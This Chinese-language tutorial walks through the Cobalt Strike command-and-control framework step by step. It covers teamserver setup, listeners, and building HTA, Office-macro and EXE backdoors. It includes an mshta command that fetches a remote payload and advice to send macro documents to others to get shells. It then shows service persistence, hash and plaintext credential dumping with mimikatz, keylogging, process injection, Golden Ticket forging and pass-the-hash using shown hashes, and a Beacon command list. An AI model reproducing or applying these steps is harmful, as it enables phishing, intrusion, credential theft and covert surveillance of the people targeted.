目录
Windows Executable & Windows Executable(S)
CobaltStrike
CobaltStrike是一款渗透测试神器,被业界人称为CS神器。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,windows exe 木马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击包括:站点克隆,目标信息获取,java 执行,浏览器自动攻击等等强大的功能!
CobaltStrike的安装
我这里以Kali安装为例:
-
上传到
Kali中,解压:tar -xzvf jdk-8u191-linux-x64.tar.gz
-
移动到opt目录下: mv jdk1.
8.0_191/ /opt/
-
进入jdk目录:cd /opt/jdk1.
8.0_191
-
-
执行 vim ~/.bashrc , 并添加下列内容
-
# install
JAVA
JDK
-
export
JAVA_HOME=/opt/jdk1.
8.0_191
-
export
CLASSPATH=.:${
JAVA_HOME}/lib
-
export
PATH=${
JAVA_HOME}/bin:$
PATH
-
保存退出
-
执行: source ~/.bashrc
-
-
执行:
-
update-alternatives --install /usr/bin/java java /opt/jdk1.
8.0_191/bin/java
1
-
update-alternatives --install /usr/bin/javac javac /opt/jdk1.
8.0_191/bin/javac
1
-
update-alternatives --
set java /opt/jdk1.
8.0_191/bin/java
-
update-alternatives --
set javac /opt/jdk1.
8.0_191/bin/javac
-
-
查看结果:
-
update-alternatives --config java
-
update-alternatives --config javac
-
安装好了java之后,我们就去安装CobalStrike了!
-
上传到
Kali中,解压:unzip cobaltstrike-linux.
zip
-
进入cobalstrike中:cd cobaltstrike-linux/
启动服务端:
CobaltStrike目录如下,讲几个主要文件的功能:
- agscript:扩展应用的脚本
- c2lint:用于检查profile的错误和异常
- teamserver:服务器端程序
- cobaltstrike/cobaltstrike.jar:客户端程序
- logs:日志文件,包括Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等
- update/update.jar:更新文件,用于更新cobaltstrike
- data:用于保存当前TeamServer的一些数据
-
启动服务端: ./teamserver
192.168
.10
.11
123456
#192.168.10.11是kali的ip地址,123456是密码
-
后台运行,关闭当前终端依然运行:nohup ./teamserver
192.168
.10
.11
123456 &
-
-
这里CobaltStrike默认监听的是
50050端口,如果我们想修改这个默认端口的话,可以打开teamserver文件,将其中的
50050修改成任意一个端口号
启动客户端:
./cobaltstrike
这里host填kali的ip,密码就是刚刚我们启动的密码。
启动后的客户端:
我们也可以打开windows下的cobaltstrike客户端,然后把ip设置为我们的启动时候的ip即可。
CobaltStrike的使用
CobaltStrike模块
- New Connection:打开一个新连接窗口
- Preferences:偏好设置,就是设置CobaltStrike外观的
- Visualization:将主机以不同的权限展示出来(主要以输出结果的形式展示)
- VPN Interfaces:设置VPN接口
- Listeners:创建监听器
- Script Interfaces:查看和加载CNA脚本
- Close:关闭
创建监听器Listener
点击左上方CobaltStrike选项——>在下拉框中选择 Listeners ——>在下方弹出区域中单机add
-
name:为监听器名字,可任意
-
payload:payload类型
-
HTTP Hosts: shell反弹的主机,也就是我们kali的ip
-
HTTP Hosts(Stager): Stager的马请求下载payload的地址
-
HTTP Port(C2): C2监听的端口
这里Payload有9种选项,如下:
内部的Listener
- windows/beacon_dns/reverse_dns_txt
- windows/beacon_dns/reverse_http
- windows/beacon_http/reverse_http
- windows/beacon_https/reverse_https
- windows/beacon_smb/bind_pipe
外部的Listener
- windows/foreign/reverse_dns_txt
- windows/foreign/reverse_http
- windows/foreign/reverse_https
- windows/foreign/reverse_tcp
Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、HTTPS、SMB。Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。其支持多主机连接,部署好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的通讯。通过种种方式获取shell以后(比如直接运行生成的exe),就可以使用Beacon了。
Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。
不同的beacon支持的系统位数也不同,如下:
关于DNS Beacon的使用:CobaltStrike中DNS Beacon的使用
创建攻击Attacks
点击中间的攻击——>生成后门
这里Attacks有几种,如下:
- HTML Application 生成一个恶意HTML Application木马,后缀格式为 .hta。通过HTML调用其他语言的应用组件进行攻击,提供了可执行文件、PowerShell、VBA三种方法
- MS Office Macro 生成office宏病毒文件;
- Payload Generator 生成各种语言版本的payload,可以生成基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等的payload
- Windows Executable 生成32位或64位的exe和基于服务的exe、DLL等后门程序
- Windows Executable(S) 用于生成一个exe可执行文件,其中包含Beacon的完整payload,不需要阶段性的请求。与Windows Executable模块相比,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存
HTML Application
HTML Application用于生成hta类型的文件。HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。HTML Application有三种类型的生成方式,测试发现,只有powershell方式生成的hta文件才能正常执行上线,Executable和VBA方式生成的hta文件执行的时候提示当前页面的脚本发生错误。
基于PowerShell方式生成的hta文件,执行上线
执行mshta上线成功:mshta http://xx.xx.xx.xx/download/file.ext
基于Executable方式生成的hta文件,执行报错如下
基于VBA方式生成的hta文件,执行报错如下
MS Office Macro
攻击——>生成后门——>MS Office Macro
然后选择一个监听器,点击Generate
然后点击Copy Macro
然后打开word编辑器,点击视图,然后点击宏
随便输入一个宏名,点击创建
先清除这里面的所有代码,然后复制CobaltStrike生成的代码,保存退出。
将该文档发给其他人,只要他是用word打开,并且开启了宏,我们的CS就会收到弹回来的shell,进程名是rundll32.exe。
word开启禁用宏:文件——>选项——>信任中心——>信任中心设置
Payload Generator
这个模块用于生成各种语言版本的shellcode,然后用其他语言进行编译生成,可参考:MSF木马的免杀(三)
Windows Executable & Windows Executable(S)
这两个模块直接用于生成可执行的 exe 文件或 dll 文件。Windows Executable是生成Stager类型的马,而Windows Executable(S) 是生成Stageless类型的马。那Stager和Stageless有啥区别呢?
- Stager是分阶段传送Payload。分阶段啥意思呢?就是我们生成的Stager马其实是一个小程序,用于从服务器端下载我们真正的shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。如果不需要分阶段的话,可以在C2的扩展文件里面把 host_stage 选项设置为 false。
- 而Stageless是完整的木马,后续不需要再向服务器端请求shellcode。所以使用这种方法生成的木马会比Stager生成的木马体积要大。但是这种木马有助于避免反溯源,因为如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后渗透和横向移动绝大部分是使用的Stageless类型的木马。
Windowss Executable(S)相比于Windows Executable,其中包含Beacon的完整payload,不需要阶段性的请求,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存。
注意,生成的Windows Service EXE生成的木马,直接双击是不会返回session的。需要以创建服务的方式启动,才会返回session。
-
#注意,等号(=)后面要有空格
-
sc create autoRunBackDoor binPath=
"cmd.exe /c C:\users\administrator\desktop\cs.exe" start=
auto DisplayName= autoRunBackDoor
-
#开启某个系统服务
-
sc start autoRunBackDoor
-
#停止某个系统服务
-
sc
stop autoRunBackDoor
-
# 删除某个系统服务
-
sc delete service_name
Web Drive-by 网站钓鱼攻击
点击中间的Attacks——>Web Drive-by(网站钓鱼攻击)
- Manage 对开启的web服务进行管理;
- Clone Site 克隆网站,可以记录受害者提交的数据;
- Host File 提供一个文件下载,可以修改Mime信息;Host File 可以配合DNS欺骗实现挂马效果使用
- Scripted Web Delivery 基于Web的攻击测试脚本,自动生成可执行的payload ;
- Signed Applet Attack 启动一个Web服务以提供自签名Java Applet的运行环境;
- Smart Applet Attack 自动检测Java版本并l利用已知的exploits绕过security;
- System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
- Spear Phish 用来邮件钓鱼的模块
视图View
点击中间的View
- Applications 显示受害者机器的应用信息;
- Credentials 显示受害者机器的凭证信息,通过hashdump和mimikatz获取的密码都保存在这里;
- Downloads 查看从被控机器上下载的文件;
- Event Log 可以看到事件日志,清楚的看到系统的事件,并且团队可以在这里聊天;
- Keystrokes 查看键盘记录;
- Proxy Pivots 查看代理信息;
- Screenshots 查看屏幕截图;
- Script Console 在这里可以加载各种脚本以增强功能,脚本地址:https://github.com/rsmudge/cortana-scripts
- Targets 查看目标;
- Web Log 查看web日志。
- Reporting 主要就是出报告用的
对被控主机的操作
-
Interact 打开beacon
-
Access
-
dump hashes 获取hash
-
Elevate 提权
-
Golden
Ticket 生成黄金票据注入当前会话
-
MAke token 凭证转换
-
Run
Mimikatz 运行
Mimikatz
-
Spawn
As 用其他用户生成
Cobalt
Strike的beacon
-
Explore
-
Browser
Pivot 劫持目标浏览器进程
-
Desktop(
VNC) 桌面交互
-
File
Browser 文件浏览器
-
Net
View 命令
Net
View
-
Port scan 端口扫描
-
Process list 进程列表
-
Screenshot 截图
-
Pivoting
-
SOCKS
Server 代理服务
-
Listener 反向端口转发
-
Deploy
VPN 部署
VPN
-
Spawn 新的通讯模式并生成会话
-
Session 会话管理,删除,心跳时间,退出,备注
抓取hash和dump明文密码
这两项功能都需要管理员权限,如果权限不足,先提权
- 抓取密码哈希:右键被控主机——>Access——>Dump Hashes
- 利用mimikatz抓取明文密码:右键被控主机——>Access——>Run Mimikatz
抓取密码哈希,也可以直接输入:hashdump
使用mimikatz抓取明文密码,也可以直接输入:logonpasswords
抓取完之后,点击凭证信息,就会显示我们抓取过的哈希或者明文。这里我们也可以手动添加或修改凭证信息
提权(Elevate)
当获取的当前权限不够时,可以使用提权功能
右键被控主机——>Access——>Elevate
亲测Windows Server 2008R2 、Win7 及以下系统可用。Win10不可用
默认有三个提权payload可以使用,分别是MS14-058、uac-dll、uac-token-duplication 。
我们选中MS14-058,点击Launch
之后就弹回来一个system权限的beacon
我们也可以自己加入一些提权脚本进去。在Github上有一个提权工具包,使用这个提权工具包可以增加几种提权方法:https://github.com/rsmudge/ElevateKit 。我们下载好该提权工具包后
如下,
再打开我们的提权,可以看到多了几种提权方式了
利用被控主机建立Socks4代理
当我们控制的主机是一台位于公网和内网边界的服务器 ,我们想利用该主机继续对内网进行渗透,于是,我们可以利用CS建立socks4A代理
右键被控主机——>Pivoting——>SOCKS Server
这里是SOCKS代理运行的端口,任意输入一个未占用的端口即可,默认CS会给出一个,我们直接点击Launch即可。
于是,我们在自己的主机上设置Socks4代理。代理ip是我们CS服务端的ip,端口即是 38588。
如果我们想查看整个CS代理的设置,可以点击View——>Proxy Pivots
然后我们可以直接在浏览器设置socks4代理
进程列表(注入进程,键盘监控)
右键被控主机——>Explore——>Process List
即可列出进程列表
选中该进程,Kill为杀死该进程,Refresh为刷新该进程,Inject 则是把beacon注入进程,Log Keystrokes为键盘记录,Screenshot 为截图,Stea Token为窃取运行指定程序的用户令牌
这里着重讲一下注入进程和键盘记录
Inject注入进程
选择进程,点击Inject,随后选择监听器,点击choose,即可发现CobaltStrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon会话。该功能可以把你的beacon会话注入到另外一个程序之中,注入之后,除非那个正常进程被杀死了,否则我们就一直可以控制该主机了。
inject 进程PID 进程位数 监听
键盘记录
任意选择一个进程,点击Log Keystrokes,即可监听该主机的键盘记录
keylogger 进程PID 进程位数
查看键盘记录结果:点击钥匙一样的按钮,就可以在底下看到键盘记录的详细了,会监听所有的键盘记录,而不只是选中的进程的键盘记录
键盘监听记录,也可以直接输入 keylogger
生成黄金票据注入当前会话(Golden Ticket)
生成黄金票据的前提是我们已经获得了krbtgt用户的哈希:9ce0b40ed1caac7523a22d574b32deb2 。并且已经获得一个以域用户登录的主机权限
右键当前获得的主机——>Access——>Golden Ticket
在弹出来的对话框中输入以下:
- User:要伪造用户名,这里我们一般填administrator
- Domain:域名
- Domain SID:域SID
- Krbtgt Hash:krbtgt用户的哈希
然后点击Build即可
这是输入框自动执行的mimikatz命令,如图票据传递攻击成功。我们查看域控的C盘,输入如下命令
shell dir\\win2008.xie.com\c$
凭证转换(Make Token)
如果我们已经获得了域内其他用户的账号密码,就可以使用此模块生成令牌,此时生成的令牌具有指定用户的身份。
右键当前获得的主机——>Access——>Make Token
输入已经获得了域用户的账号密码和域名,点击Build
日志框内的记录
端口扫描
右键——>目标——>端口扫描,然后填入要扫描的端口和网段。这里我们也可以直接执行命令:
-
portscan 192
.168
.10
.1-192
.168
.10
.10 22,445
arp 1024
-
portscan 192
.168
.10
.1-192
.168
.10
.10 22,445
icmp 1024
-
portscan 192
.168
.10
.1-192
.168
.10
.10 22,445
none 1024
扫完了之后,直接在控制台就会有结果。
我们点击视图——>目标,就会出现网段中存活的主机。(这是通过端口扫描探测到的结果显示的,要想这里显示,必须得先进行扫描端口)
哈希传递攻击或SSH远程登录
进行了上一步的端口扫描后,我们这里视图——>目标就会有当前网段的存活主机。
对于Linux机器,如果我们知道账号密码的话,可以远程SSH连接,并返回一个CS的session。
需要一台服务器作为中继才可以控制Linux服务器,我们这里先获取到一个windows服务器的权限,然后进入windows服务器的beacon进行执行命令
可以两种方式远程连接:ssh 和 ssh-key
可以图形化操作,也可以命令行操作:ssh 192.168.10.13:22 root root
对于Linux机器,也可以使用SSH公私钥进行登录,并返回一个CS的session。
需要一台服务器作为中继才可以控制Linux服务器,我们这里先获取到一个windows服务器的权限,然后进入windows服务器的beacon进行执行命令
首先,将公钥authorized_keys放到目标主机的/root/.ssh/目录下
然后我们本地机器放私钥,远程连接
ssh-key 192.168.10.13:22 root e:\id_rsa
对于Windows机器,如果我们获取到账号和密码(明文或者哈希),都可以进行远程连接
远程连接的前提是目标机器开放了445端口,然后CS会通过远程连接开启一个CS的seesion。可以用以下方式远程连接:psexec 、psexec64、psexec_psh 、winrm 和 winrm64
-
rev2self
-
pth WIN2008\Administrator
329153f560eb329c0e1deea55e88a1e9
-
jump psexec WIN2003 test
如果遇到目标机器不出网的情况,则我们需要在已经被控的主机上建立一个listen,以此作为中继。
然后攻击的时候的监听器选择我们刚刚用被控主机建立的listen即可。
但是这样会导致的一个后果就是,只要第一个被控主机掉线,通过该主机中继打下的内网其他主机也都会掉线。
CobaltStrike常见命令
-
BeaconCommands
-
===============
-
Command Description
-
------- -----------
-
browserpivot 注入受害者浏览器进程
-
bypassuac 绕过UAC
-
cancel 取消正在进行的下载
-
cd 切换目录
-
checkin 强制让被控端回连一次
-
clear 清除beacon内部的任务队列
-
connect Connect to a Beacon peerover TCP
-
covertvpn 部署Covert VPN客户端
-
cp 复制文件
-
dcsync 从DC中提取密码哈希
-
desktop 远程VNC
-
dllinject 反射DLL注入进程
-
dllload 使用LoadLibrary将DLL加载到进程中
-
download 下载文件
-
downloads 列出正在进行的文件下载
-
drives 列出目标盘符
-
elevate 尝试提权
-
execute 在目标上执行程序(无输出)
-
execute-
assembly 在目标上内存中执行本地.NET程序
-
exit 退出beacon
-
getprivs
Enable
system
privileges oncurrent token
-
getsystem 尝试获取
SYSTEM权限
-
getuid 获取用户
ID
-
hashdump 转储密码哈希值
-
help 帮助
-
inject 在特定进程中生成会话
-
jobkill 杀死一个后台任务
-
jobs 列出后台任务
-
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
-
kerberos_ticket_purge 清除当前会话的票据
-
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
-
keylogger 键盘记录
-
kill 结束进程
-
link
Connect
to a Beacon peerover a named
pipe
-
logonpasswords 使用mimikatz转储凭据和哈希值
-
ls 列出文件
-
make_token 创建令牌以传递凭据
-
mimikatz 运行mimikatz
-
mkdir 创建一个目录
-
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
-
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
-
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
-
mode
http 使用
HTTP作为通信通道
-
mv 移动文件
-
net net命令
-
note 备注
-
portscan 进行端口扫描
-
powerpick 通过Unmanaged PowerShell执行命令
-
powershell 通过powershell.exe执行命令
-
powershell-
import 导入powershell脚本
-
ppid
Set
parent PID forspawned post-ex jobs
-
ps 显示进程列表
-
psexec
Use a service
to spawn asession
on a host
-
psexec_psh
Use PowerShell
to spawn asession
on a host
-
psinject 在特定进程中执行PowerShell命令
-
pth 使用Mimikatz进行传递哈希
-
pwd 当前目录位置
-
reg
Query the registry
-
rev2self 恢复原始令牌
-
rm 删除文件或文件夹
-
rportfwd 端口转发
-
run 在目标上执行程序(返回输出)
-
runas 以另一个用户权限执行程序
-
runasadmin 在高权限下执行程序
-
runu
Execute a program underanother PID
-
screenshot 屏幕截图
-
setenv 设置环境变量
-
shell cmd执行命令
-
shinject 将shellcode注入进程
-
shspawn 生成进程并将shellcode注入其中
-
sleep 设置睡眠延迟时间
-
socks 启动SOCKS4代理
-
socks
stop 停止SOCKS4
-
spawn Spawn a
session
-
spawnas Spawn a
session
as anotheruser
-
spawnto
Set executable tospawn processes
into
-
spawnu Spawn a
session underanother PID
-
ssh 使用ssh连接远程主机
-
ssh-
key 使用密钥连接远程主机
-
steal_token 从进程中窃取令牌
-
timestomp 将一个文件时间戳应用到另一个文件
-
unlink
Disconnect
from parentBeacon
-
upload 上传文件
-
wdigest 使用mimikatz转储明文凭据
-
winrm 使用WinRM在主机上生成会话
-
wmi 使用WMI在主机上生成会话
-
argue 进程参数欺骗